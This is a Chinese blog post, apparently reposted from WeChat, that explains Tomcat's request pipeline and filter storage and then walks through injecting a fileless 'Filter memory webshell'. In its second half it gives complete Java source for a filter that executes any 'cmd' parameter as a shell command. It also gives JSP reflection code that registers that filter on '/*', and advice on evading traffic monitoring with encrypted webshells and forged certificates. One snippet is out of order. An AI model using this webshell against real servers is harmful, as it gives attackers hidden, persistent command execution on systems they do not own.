欢迎光临鲸落的杂货铺![Tomcat容器攻防笔记之Filter内存马 Tomcat容器攻防笔记之Filter内存马]()
背景:
声明 :
由于传播或利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,此文仅作交流学习用途。
概念:
援引官方文档对于javax.servlet.Filter接口的描述,针对Filter进行以下几点阐述:
图1 Filter接口描述
一、Filter是什么?
“A filter is an object that performs filtering tasks on either the request to a resource (a servlet or static content), or on the response from a resource, or both.”
Filter也称过滤器,是针对访问Servlet、静态资源的请求或响应进行过滤操作的对象。
二、Filter如何被创建?
“Filters are configured in the deployment descriptor of a web application.”
Filter可在/WEB-INF/web.xml文件中进行配置:
Filter-name:过滤器名称
Filter-class:过滤器类名
Url-pattern:匹配请求路径的模式
图2 Filter配置
三、Filter在Tomcat处理请求响应的流程中,处于哪个环节?
首先对Tomcat处理请求的流程进行了解:
图3 Server架构
图4 Server.xml配置文件
在Tomcat中,最顶层的容器是Server,一个Tomcat仅有一个Server,指代整个Web服务器。
Server当中,包含了多个Service用以提供具体的服务。
Service当中,又包含了多个Connector以及Container组件。
图5 Connector架构
图6 Connector配置细节
Connector,也称为连接器,用于接受请求并将请求封装成Request和Response对象。
在Connector中,包含了多个组件,不同的ProtocolHandler对应不同的协议解析,并以单独一个Connector形式存在,在server.xml配置文件当中,默认存在处理HTTP/1.1协议的Connector,除此之外,Tomcat还在注释中提供了处理AJP/1.3协议、SSL/TLS HTTP/1.1协议的Connector。(图6标签中protocol的值代表用于解析请求协议)
ProtocolHandler组件中,又包含了三个组件:
Endpoint:负责处理底层Socket的网络连接,读取请求的字节码,实现TCP/IP协议
Aceptor:用于监听请求
Handler:用于处理接收到的Socket流,并随后调用Processor进行处理
AsyncTimeout:用于检查异步Request的超时
Processor:负责完成应用层的协议如HTTP/1.1、AJP/1.3的解析工作
Adaptor:负责将解析后的org.apache.coyote.Request对象或Response对象,适配为可供Container调用的继承了ServletRequest接口、ServletResponse接口的对象。
请求经Connector处理完毕后,传递给Container进行处理:
图7 Engine架构
图8 Engine配置细节
在Engine当中,存在以下几个逐层包含的组件:
Host:代表一个虚拟主机
Context:代表Webapps(默认应用文件夹,可更改)里单独某个Web应用,与/WEB-INF/web.xml相对应
Wrapper:每个Wrapper中封装了一个Servlet
我们可以在配置文件中窥探出Tomcat架构其一角,Engine可拥有多个Host,代表不同的虚拟主机,使得Tomcat具备承担多个域名服务的能力,图8标签中的”appBase”指代放置Web应用项目的文件夹名称,”autoDeploy”指代是否开启WAR包的自动装配功能
图9 PipeLine处理流程
在Container中,使用PipeLine-Value管道的方式处理请求,包含以下四个子容器:
StandardEngineValue --> StandardHostValue --> StandardContextValue --> StandardWrapperValue
当执行到最后的StandardWrapperValue时,将通过ApplicationFilterFactory对象的createFilterChain()方法,创建FilterChain(过滤链),并调用FilterChain.doFilter()方法,对请求进行过滤操作。
图10 createFilterChain()方法
综上所述,当客户端发起请求后,首先来到Connector组件,完成底层TCP/IP协议、应用层协议的解析工作,生成org.apache.coyote.Request对象,并将请求路径、请求头部、请求参数等数据保存其中,随后通过Adaptor组件适配为继承了javax.servlet.ServletRequest接口的Request对象,根据请求信息交由对应的域名(Host)、对应的Context(Web应用程序)、对应的Wrapper(Filter过滤链和Servlet)进行处理并响应,当响应处理完成后,最终交由Connector返回给客户端。
以上概念及流程叙述完毕,话不多说,开启IDEA调试跟我一起看看代码细节。
四、Filter实例及其映射存储在何处?
是否记得在第二点”Filter如何被创建”中所提及的,Filter一般在web.xml中进行配置,而继承了org.apache.cataline.Context接口的org.apache.catalina.core.StandardContext容器类负责存储整个Web应用程序的数据和对象,并加载了web.xml中配置的多个Servlet、Filter对象以及它们的映射关系,因而我们可以从StandardContext容器类中着手。
跟进StandardContext容器类的代码可以发现,与Filter有关的成员变量有以下三个:
private HashMap<String, ApplicationFilterConfig> filterConfigs = new HashMap();
filterConfigs 变量存储了filter名称与相应的ApplicationFilterConfig对象,在ApplicationFilterConfig对象中则存储了Filter实例以及该实例在web.xml中的注册信息
图11 ApplicationFilterConfig类
private HashMap<String, FilterDef> filterDefs = new HashMap();
filterDefs 变量存储了filter名称与相应FilterDef的对象,而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据
图12 FilterDef类
private final StandardContext.ContextFilterMaps filterMaps = new StandardContext.ContextFilterMaps();
图13 filterMaps集合
filterMaps 中的FilterMap则记录了不同filter与UrlPattern的映射关系
小结一下:
filterMaps变量:含有所有filter的URL映射关系
filterDefs变量: 含有所有filter包括实例在内等变量
filterConfigs 变量:含有所有与filter对应的filterDef信息及filter实例,并对filter进行管理
五、FilterChain过滤链的创建及调用过程?
图14 createFilterChain()方法入口
图15 createFilterChain()方法细节
获取StandardContext对象,关键部分在第二红框内,遍历StandardContext.filterMaps得到filter与URL的映射关系并通过matchDispatcher()、matchFilterURL()方法进行匹配,匹配成功后,还需判断StandardContext.filterConfigs中,是否存在对应filter的实例,当实例不为空时通过addFilter方法,将管理filter实例的filterConfig添加入filterChain对象中。
图16 调用过滤链
当遍历结束后,返回filterChain对象至StandardWrapperValue实例,并调用filterChain.doFilter()方法,对请求或响应进行过滤操作。
六、Filter内存马的注入
花了老半天功夫终于来到了最关心的地方。经过一系列分析,得知createFilterChain()通过遍历filterMaps,根据请求的URL在filterMaps中匹配filter,并在filterConfigs中找到filter的实例,最终创建filterChain。因此,我们只需要向StandardContext实例的filterMaps、filterDefs、filterConfigs中添加恶意Filter相关参数,即可完成Filter马的注入。
借鉴于potatso前辈《tomcat结合shiro无文件webshell的技术研究以及检测方法》
https://mp.weixin.qq.com/s/fFYTRrSMjHnPBPIaVn9qMg
1.编写恶意Filter类,转化为字节码并进行Base64编码(java8后提供java.util.Base64)
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;
public class FilterShell implements Filter{
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\A");
String output = s.hasNext() ? s.next() : "";
resp.getWriter().write(output);
resp.getWriter().flush();
}
filterChain.doFilter(request, response);
}
public void destroy() {
}
public static void main(String[] args) throws IOException {
InputStream in = FilterShell.class.getClassLoader().getResourceAsStream("FilterShell.class");
byte[] bytes = new byte[in.available()];
in.read(bytes);
System.out.println(java.util.Base64.getEncoder().encodeToString(bytes));
}
}
2.注入恶意Filter类
获取ClassLoader实例,并通过反射得到ClassLoader类的defineClass()方法,将传入的恶意Filter类字节码,转化为Class注入至目标环境
图17 java.lang.ClassLoader#defineClass()
<%
// 获取当前ClassLoader
java.lang.ClassLoader classLoader = (java.lang.ClassLoader) Thread.currentThread().getContextClassLoader();
// 由于defineClass方法的权限修饰符并非public,需通过反射得到
java.lang.reflect.Method defineClass = java.lang.ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
String evil_base64 = “恶意Filter类的base64编码”;
byte[] evil_bytes = java.util.Base64.getDecoder().decode(evil_base64);
// 加载字节码,注入恶意Filter类
defineClass.invoke(classLoader, evil_bytes, 0, evil_bytes.length);
3.获取StandardContext实例
借鉴于Litch1前辈《Tomcat的一种通用回显方法研究》 https://zhuanlan.zhihu.com/p/114625962
图18 StandardContext实例存储位置信息
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
org.apache.catalina.webresources.StandardRoot standardroot = (org.apache.catalina.webresources.StandardRoot) webappClassLoaderBase.getResources();
org.apache.catalina.core.StandardContext standardContext = standardroot.getContext();
4.向filterMaps添加url映射关系
图19 StandardContext#addFilterMap及addFilterDef方法
在standardContext类中已提供addFilterMap方法,同时关注到this.validateFilterMap()方法,跟进查看
图20 validateFilterMap()方法细节
该方法会在当前standardContext实例中的filterDefs检查是否存在所添加的filterName,因此我们需先往standardContext.filterDefs中添加我们的filterDef,standardContext类提供了addFilterDef方法可供调用。
// 添加filterDef,先前已注入恶意Filter类,可调用Class.forName()获取
javax.servlet.Filter filterShell = (javax.servlet.Filter) Class.forName("FilterShell").newInstance();
org.apache.tomcat.util.descriptor.web.FilterDef filterDef = new org.apache.tomcat.util.descriptor.web.FilterDef();
filterDef.setFilterName("Filtershell");//可自行命名
filterDef.setFilter(filterShell);
standardContext.addFilterDef(filterDef);
standardContext.addFilterMap(filterMap);
// 实例化filterMap,filterMap#setFilterName()和filterMap#addURLPattern()都是public方法
org.apache.tomcat.util.descriptor.web.FilterMap filterMap = new org.apache.tomcat.util.descriptor.web.FilterMap();
filterMap.setFilterName("Filtershell");
filterMap.addURLPattern("/*");
图21 FilterMap#setFilterName及addURLPattern方法
5.实例化ApplicationFilterConfig,向filterConfigs添加<String, ApplicationFilterConfig>
图22 ApplicationFilterConfig类
图23 filterConfigs变量
<%
// 反射获取filterConfigs
java.lang.reflect.Field filterConfigsF = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsF.setAccessible(true);
java.util.Map filterConfigs = (java.util.Map) filterConfigsF.get(standardContext);
// 由于ApplicationFilterConfig经Final修饰,且构造方法为静态方法,无法通过new实例化,需通过反射获取ApplicationFilterConfig构造方法并实例化后添加入filterConfigs
java.lang.reflect.Constructor constructor = org.apache.catalina.core.ApplicationFilterConfig.class.getDeclaredConstructors()[0];
constructor.setAccessible(true);
filterConfigs.put("Filtershell", constructor.newInstance(standardContext, filterDef));
6.注入完成后,验证Filter内存马
图24 whoami命令
图25 netstat命令
末言:
以上获取StandardContext实例的方法不适用于Tomcat7。利用反序化漏洞、代码执行漏洞、文件上传漏洞,完成Filter内存马的注入后,可结合其他攻击手法如采用冰蝎的AES动态加密Webshell、使用伪造的HTTPS证书进行流量加密或自定义编解码方式,进而达到流量混淆规避监测等效果。然一法通,万剑归宗,在设计理念和架构思想较为统一的情况下,可利用该思路扩展Tomcat容器甚至其他Web容器、框架的攻防方法。以上行文,难免存在谬误,后续将逐渐完善,整合和分析更多的Tomcat容器攻防方式。
原文始发于微信公众号(鲸落的杂货铺):Tomcat容器攻防笔记之Filter内存马
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论